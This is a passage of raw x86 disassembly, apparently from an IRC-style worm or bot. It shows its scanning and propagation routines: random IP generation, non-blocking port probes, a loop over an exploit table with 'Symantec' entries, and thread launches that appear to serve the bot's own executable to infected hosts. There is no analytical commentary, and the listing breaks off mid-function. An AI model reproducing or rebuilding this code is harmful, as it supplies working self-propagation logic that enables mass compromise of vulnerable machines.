		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_413F3A
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_40A66C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A73A	proc near		; CODE XREF: sub_401AA1+264Cp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4D09DC
		mov	ecx, dword_4D09D8
		push	esi
		push	dword_4CDC3C
		lea	esi, [ecx+eax]
		call	sub_4178B6
		push	eax
		push	esi
		push	dword_4D09DC
		lea	eax, [ebp+var_200]
		push	dword_4D09D8
		push	offset unk_434D60
		push	eax
		call	sub_4185E6
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_413F3A
		add	esp, 34h
		pop	esi
		leave
		retn
sub_40A73A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7A5	proc near		; CODE XREF: sub_401AA1+2636p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CDC3C
		call	sub_4178B6
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4D0C0C
		push	offset unk_434DA8
		push	eax
		call	sub_4185E6
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_413F3A
		add	esp, 2Ch
		leave
		retn
sub_40A7A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7F9	proc near		; CODE XREF: sub_401AA1+2620p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_418880
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_434DF4
		push	eax
		call	sub_4185E6
		cmp	dword_434898, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40A865
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40A82E:				; CODE XREF: sub_40A7F9+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_434DE4
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_418F40
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40A82E
		pop	esi


loc_40A865:				; CODE XREF: sub_40A7F9+2Dj
		push	dword_4CDC3C
		call	sub_4178B6
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_418F40
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_413F3A
		add	esp, 34h
		pop	edi
		leave
		retn
sub_40A7F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A8BF	proc near		; DATA XREF: sub_401AA1+2B79o

var_3F0		= byte ptr -3F0h
var_1F0		= dword	ptr -1F0h
var_1EC		= byte ptr -1ECh
var_1DC		= byte ptr -1DCh
var_15C		= byte ptr -15Ch
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_134		= byte ptr -134h
var_124		= byte ptr -124h
var_A4		= byte ptr -0A4h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3F0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp+var_134]
		push	eax
		call	dword_4CDF20	; inet_addr
		xor	edi, edi
		mov	[ebp+var_8], eax
		cmp	dword_434898, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], edi
		jz	loc_40AA1E
		mov	esi, offset dword_434898
		mov	ebx, offset aSym ; "sym"


loc_40A913:				; CODE XREF: sub_40A8BF+159j
		push	[ebp+var_1C]
		push	dword ptr [esi]
		push	[ebp+var_8]
		call	sub_40B0B0
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40AA0D
		push	dword ptr [esi]
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebx+0Ah]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	offset unk_434E44
		push	eax
		call	sub_4185E6
		push	edi
		lea	eax, [ebp+var_3F0]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_24]
		call	sub_408BC1
		lea	eax, [ebp+var_3F0]
		push	eax
		call	sub_413F3A
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_15C]
		push	ebx
		push	eax
		call	sub_4185E6
		add	esp, 3Ch
		cmp	[ebp+var_A4], 0
		lea	eax, [ebp+var_A4]
		jnz	short loc_40A9A8
		lea	eax, [ebp+var_124]


loc_40A9A8:				; CODE XREF: sub_40A8BF+E1j
		push	eax
		lea	eax, [ebp+var_1DC]
		push	eax
		call	sub_4185E6
		mov	eax, [ebp+var_24]
		pop	ecx
		mov	[ebp+var_1F0], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_140], eax
		mov	eax, [ebp+var_10]
		pop	ecx
		mov	[ebp+var_13C], eax
		mov	eax, [esi]
		sub	esp, 0BCh
		mov	[ebp+var_150], eax
		mov	eax, [ebp+var_18]
		push	2Fh
		mov	[ebp+var_14C], eax
		mov	eax, [ebp+arg_0]
		pop	ecx
		lea	esi, [ebp+var_1F0]
		mov	edi, esp
		mov	[ebp+var_148], eax
		rep movsd
		call	dword ptr [ebx+2Ch]
		add	esp, 0BCh
		inc	[ebp+var_4]
		xor	edi, edi


loc_40AA0D:				; CODE XREF: sub_40A8BF+67j
		inc	[ebp+arg_0]
		add	ebx, 40h
		lea	esi, [ebx+28h]
		cmp	[esi], edi
		jnz	loc_40A913


loc_40AA1E:				; CODE XREF: sub_40A8BF+44j
		push	[ebp+var_4]
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	offset unk_434E10
		push	eax
		call	sub_4185E6
		push	edi
		lea	eax, [ebp+var_3F0]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_24]
		call	sub_408BC1
		lea	eax, [ebp+var_3F0]
		push	eax
		call	sub_413F3A
		push	[ebp+var_18]
		call	sub_40A446
		add	esp, 2Ch
		push	edi
		call	dword_4240CC	; ExitThread
sub_40A8BF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA71	proc near		; CODE XREF: sub_401AA1+1F3Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40A372
		test	eax, eax
		pop	ecx
		jle	short loc_40AAAD
		mov	eax, [ebp+arg_C]
		push	dword_4CE020[eax*8]
		call	dword_4CDF6C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_434E94
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		jmp	short loc_40AAC0
; ---------------------------------------------------------------------------


loc_40AAAD:				; CODE XREF: sub_40AA71+13j
		lea	eax, [ebp+var_200]
		push	offset unk_434E74
		push	eax
		call	sub_4185E6
		pop	ecx
		pop	ecx


loc_40AAC0:				; CODE XREF: sub_40AA71+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_413F3A
		add	esp, 18h
		leave
		retn
sub_40AA71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AAE8	proc near		; CODE XREF: sub_40B361+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40AFC8
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_4348A4[eax], ebx
		jz	loc_40AFC8
		push	5
		call	sub_40A372
		test	eax, eax
		pop	ecx
		jnz	loc_40AD62
		mov	eax, dword_42607C
		push	edi
		mov	esi, offset dword_4D00DC
		push	104h
		push	esi
		push	ebx
		mov	dword_4D02EC, eax
		mov	dword_4D02E8, ebx
		call	dword_424070	; GetModuleFileNameA
		mov	edi, offset byte_4260F8
		push	103h
		push	edi
		push	offset dword_4D01E0
		call	sub_418350
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4D00D8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4D0370, eax
		jnz	short loc_40AB98
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4D02F0
		call	sub_418350
		mov	dword_4D0374, 1
		jmp	short loc_40ABAF
; ---------------------------------------------------------------------------


loc_40AB98:				; CODE XREF: sub_40AAE8+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4D02F0
		call	sub_418350
		mov	dword_4D0374, ebx


loc_40ABAF:				; CODE XREF: sub_40AAE8+AEj
		add	esp, 0Ch
		lea	eax, [ebp+var_204]
		push	esi
		push	dword_4D02EC
		push	offset unk_42F648
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40A130
		add	esp, 1Ch
		mov	dword_4D02E4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D00D8
		push	offset sub_410CB3
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, dword_4D02E4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	loc_40ACB3
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_434FB4
		push	eax
		call	sub_4185E6
		add	esp, 0Ch


loc_40AC2D:				; CODE XREF: sub_40AAE8+1D3j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_413F3A
		mov	eax, dword_4CDC38
		mov	esi, offset dword_4D0384
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4D0594, eax
		mov	dword_4D0590, ebx
		call	dword_424070	; GetModuleFileNameA
		push	103h
		push	edi
		push	offset dword_4D0488
		call	sub_418350
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4D0380, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4D0618, eax
		push	7Fh
		jnz	short loc_40ACC0
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4D0598
		call	sub_418350
		mov	dword_4D061C, 1
		jmp	short loc_40ACD7
; ---------------------------------------------------------------------------


loc_40ACAB:				; CODE XREF: sub_40AAE8+1D1j
		push	32h
		call	dword_424078	; Sleep


loc_40ACB3:				; CODE XREF: sub_40AAE8+124j
		cmp	dword_4D0378, ebx
		jz	short loc_40ACAB
		jmp	loc_40AC2D
; ---------------------------------------------------------------------------


loc_40ACC0:				; CODE XREF: sub_40AAE8+1A7j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4D0598
		call	sub_418350
		mov	dword_4D061C, ebx


loc_40ACD7:				; CODE XREF: sub_40AAE8+1C1j
		add	esp, 0Ch
		lea	eax, [ebp+var_204]
		push	esi
		push	dword_4D0594
		push	offset unk_434F80
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40A130
		add	esp, 1Ch
		mov	dword_4D058C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D0380
		push	offset sub_40DF38
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, dword_4D058C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	loc_40ADDB
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_434F4C
		push	eax
		call	sub_4185E6
		add	esp, 0Ch


loc_40AD55:				; CODE XREF: sub_40AAE8+2FBj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_413F3A
		pop	ecx


loc_40AD62:				; CODE XREF: sub_40AAE8+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_4348AC[ecx], ebx
		jz	loc_40AE8F
		push	7
		call	sub_40A372
		test	eax, eax
		pop	ecx
		jnz	loc_40AE89
		mov	eax, dword_4D0C08
		cmp	[ebp+arg_90], bl
		mov	dword_4D0044, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4D0038, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4D0040, ebx
		mov	dword_4D00C8, eax
		push	7Fh
		jnz	short loc_40ADE8
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4D0048
		call	sub_418350
		mov	dword_4D00CC, 1
		jmp	short loc_40ADFF
; ---------------------------------------------------------------------------


loc_40ADD3:				; CODE XREF: sub_40AAE8+2F9j
		push	32h
		call	dword_424078	; Sleep


loc_40ADDB:				; CODE XREF: sub_40AAE8+24Cj
		cmp	dword_4D0620, ebx
		jz	short loc_40ADD3
		jmp	loc_40AD55
; ---------------------------------------------------------------------------


loc_40ADE8:				; CODE XREF: sub_40AAE8+2CFj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4D0048
		call	sub_418350
		mov	dword_4D00CC, ebx


loc_40ADFF:				; CODE XREF: sub_40AAE8+2E9j
		add	esp, 0Ch
		lea	eax, [ebp+var_204]
		push	dword_4D0044
		push	offset unk_434F1C
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40A130
		add	esp, 18h
		mov	dword_4D003C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D0038
		push	offset sub_40DC96
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, dword_4D003C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	loc_40AF81
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_434EE4
		push	eax
		call	sub_4185E6
		add	esp, 0Ch


loc_40AE7C:				; CODE XREF: sub_40AAE8+4A1j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_413F3A
		pop	ecx


loc_40AE89:				; CODE XREF: sub_40AAE8+29Bj
		mov	eax, [ebp+arg_130]


loc_40AE8F:				; CODE XREF: sub_40AAE8+28Bj
		shl	eax, 6
		cmp	dword_4348A8[eax], ebx
		jz	loc_40AFC8
		push	3
		call	sub_40A372
		test	eax, eax
		pop	ecx
		jnz	loc_40AFC8
		mov	esi, offset dword_4D08B4
		push	104h
		push	esi
		push	ebx
		call	dword_424070	; GetModuleFileNameA
		push	5Ch
		push	esi
		call	sub_418BA0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40AED0
		mov	[eax], bl


loc_40AED0:				; CODE XREF: sub_40AAE8+3E4j
		mov	eax, dword_426080
		mov	dword_4D09CC, ebx
		mov	dword_4D09B8, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4D062C
		call	sub_4185E6
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4D0628, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4D09B8
		mov	dword_4D09C4, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4D09C8, ecx
		call	sub_409C7B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42F5D0
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40A130
		add	esp, 20h
		mov	dword_4D09C0, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D0628
		push	offset sub_40E667
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, dword_4D09C0
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jz	short loc_40AFA0
		jmp	short loc_40AF96
; ---------------------------------------------------------------------------


loc_40AF79:				; CODE XREF: sub_40AAE8+49Fj
		push	32h
		call	dword_424078	; Sleep


loc_40AF81:				; CODE XREF: sub_40AAE8+373j
		cmp	dword_4D00D0, ebx
		jz	short loc_40AF79
		jmp	loc_40AE7C
; ---------------------------------------------------------------------------


loc_40AF8E:				; CODE XREF: sub_40AAE8+4B4j
		push	32h
		call	dword_424078	; Sleep


loc_40AF96:				; CODE XREF: sub_40AAE8+48Fj
		cmp	dword_4D09D4, ebx
		jz	short loc_40AF8E
		jmp	short loc_40AFBB
; ---------------------------------------------------------------------------


loc_40AFA0:				; CODE XREF: sub_40AAE8+48Dj
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_434EB0
		push	eax
		call	sub_4185E6
		add	esp, 0Ch


loc_40AFBB:				; CODE XREF: sub_40AAE8+4B6j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_413F3A
		pop	ecx


loc_40AFC8:				; CODE XREF: sub_40AAE8+14j
					; sub_40AAE8+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40AAE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFCC	proc near		; CODE XREF: sub_40B14D:loc_40B1AFp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CE020h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_419070
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CDE1C	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CDEE0	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_419070
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40AFCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B014	proc near		; CODE XREF: sub_40B14D+5Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_417D40
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40B03C
		xor	eax, eax
		jmp	short loc_40B0AD
; ---------------------------------------------------------------------------


loc_40B03C:				; CODE XREF: sub_40B014+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_4193A5
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40B069
		call	sub_418642
		mov	[ebp+var_C], eax


loc_40B069:				; CODE XREF: sub_40B014+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40B076
		call	sub_418642
		mov	[ebp+var_8], eax


loc_40B076:				; CODE XREF: sub_40B014+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40B083
		call	sub_418642
		mov	[ebp+var_4], eax


loc_40B083:				; CODE XREF: sub_40B014+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40B08F
		call	sub_418642


loc_40B08F:				; CODE XREF: sub_40B014+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CE020[ecx*8], eax


loc_40B0AD:				; CODE XREF: sub_40B014+26j
		pop	esi
		leave
		retn
sub_40B014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B0B0	proc near		; CODE XREF: sub_40A8BF+5Cp
					; sub_40B14D+A9p ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	ebx, ebx
		inc	edi
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CDF60	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40B0D9
		xor	eax, eax
		jmp	short loc_40B148
; ---------------------------------------------------------------------------


loc_40B0D9:				; CODE XREF: sub_40B0B0+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CDEE4	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CDF7C	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CDE90	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CDECC	; select
		push	esi
		mov	edi, eax
		call	dword_4CDF78	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40B148:				; CODE XREF: sub_40B0B0+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B0B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B14D	proc near		; DATA XREF: sub_40B361+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	dword_4240A8	; GetTickCount
		push	eax
		call	sub_418638
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h
		jmp	loc_40B33E
; ---------------------------------------------------------------------------


loc_40B199:				; CODE XREF: sub_40B14D+1FFj
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40B1AF
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40B014
		pop	ecx
		jmp	short loc_40B1B4
; ---------------------------------------------------------------------------


loc_40B1AF:				; CODE XREF: sub_40B14D+51j
		call	sub_40AFCC


loc_40B1B4:				; CODE XREF: sub_40B14D+60j
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_440E3C[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CDF6C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_435010
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_440C38[ebx]
		push	eax
		call	sub_4185E6
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40B0B0
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_40B333
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40B288
		push	offset dword_4D0020
		call	dword_4240D4	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	dword_4CDF6C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_434FE8
		push	eax
		call	sub_4185E6
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40B26A
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40B25E
		lea	eax, [ebp+var_140]


loc_40B25E:				; CODE XREF: sub_40B14D+109j
		push	eax
		push	[ebp+var_40]
		call	sub_408BC1
		add	esp, 14h


loc_40B26A:				; CODE XREF: sub_40B14D+EEj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_413F3A
		mov	[esp+2A8h+var_2A8], offset dword_4D0020
		call	dword_4240D0	; RtlLeaveCriticalSection
		jmp	loc_40B333
; ---------------------------------------------------------------------------


loc_40B288:				; CODE XREF: sub_40B14D+BEj
		push	edi
		call	dword_4CDF6C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4185E6
		mov	eax, [ebp+var_20]
		shl	eax, 6
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_4185E6
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_40B2CC
		lea	eax, [ebp+var_140]


loc_40B2CC:				; CODE XREF: sub_40B14D+177j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_4185E6
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_43489C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40B333:				; CODE XREF: sub_40B14D+B4j
					; sub_40B14D+136j
		push	7D0h
		call	dword_424078	; Sleep


loc_40B33E:				; CODE XREF: sub_40B14D+47j
		mov	eax, dword_440E3C[ebx]
		cmp	dword_4CE024[eax*8], 0
		jnz	loc_40B199
		push	esi
		call	sub_40A446
		pop	ecx
		push	0
		call	dword_4240CC	; ExitThread
sub_40B14D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B361	proc near		; DATA XREF: sub_401AA1+1A7Eo
					; sub_401AA1+5398o

var_20C		= dword	ptr -20Ch
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
